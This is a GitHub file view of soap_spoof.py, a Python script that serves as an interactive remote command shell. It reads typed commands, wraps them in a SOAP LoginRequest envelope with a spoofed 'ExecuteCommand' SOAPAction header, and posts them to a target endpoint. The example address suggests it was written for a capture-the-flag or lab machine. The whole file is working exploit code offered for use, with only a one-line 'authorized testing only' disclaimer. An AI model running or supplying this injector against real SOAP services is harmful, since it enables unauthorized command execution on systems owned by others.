-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsoap_spoof.py
More file actions
executable file
·59 lines (48 loc) · 2.24 KB
/
Copy pathsoap_spoof.py
File metadata and controls
executable file
·59 lines (48 loc) · 2.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""Interactive SOAP injector — submit attacker-controlled commands inside a SOAP envelope.
Usage:
python3 soap_spoof.py --target http://<TARGET>/wsdl --action '"ExecuteCommand"'
Authorized testing only.
"""
import argparse
import sys
import requests
ENVELOPE_TMPL = (
'<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:tns="http://tempuri.org/" '
'xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">'
'<soap:Body><LoginRequest xmlns="http://tempuri.org/">'
'<METHOD>{cmd}</METHOD><password>pass</password>'
'</LoginRequest></soap:Body></soap:Envelope>'
)
def send(target: str, cmd: str, soap_action: str, timeout: float,
proxy: str | None) -> None:
proxies = {"http": proxy, "https": proxy} if proxy else None
body = ENVELOPE_TMPL.format(cmd=cmd)
headers = {"SOAPAction": soap_action, "Content-Type": "text/xml; charset=utf-8"}
r = requests.post(target, data=body, headers=headers, proxies=proxies, timeout=timeout)
sys.stdout.buffer.write(r.content + b"\n")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--target", required=True, help="Full SOAP endpoint URL (e.g. http://10.10.10.10:3002/wsdl)")
parser.add_argument("--action", default='""', help='SOAPAction header value, e.g. \'"ExecuteCommand"\' (default: empty)')
parser.add_argument("--timeout", type=float, default=15.0, help="Per-request timeout (default: 15)")
parser.add_argument("--proxy", default=None, help="HTTP(S) proxy URL")
args = parser.parse_args()
try:
while True:
try:
cmd = input("$ ")
except EOFError:
return 0
try:
send(args.target, cmd, args.action, args.timeout, args.proxy)
except requests.exceptions.RequestException as exc:
print(f"[!] request error: {exc}", file=sys.stderr)
except KeyboardInterrupt:
print("\n[!] Interrupted.", file=sys.stderr)
return 130
if __name__ == "__main__":
sys.exit(main())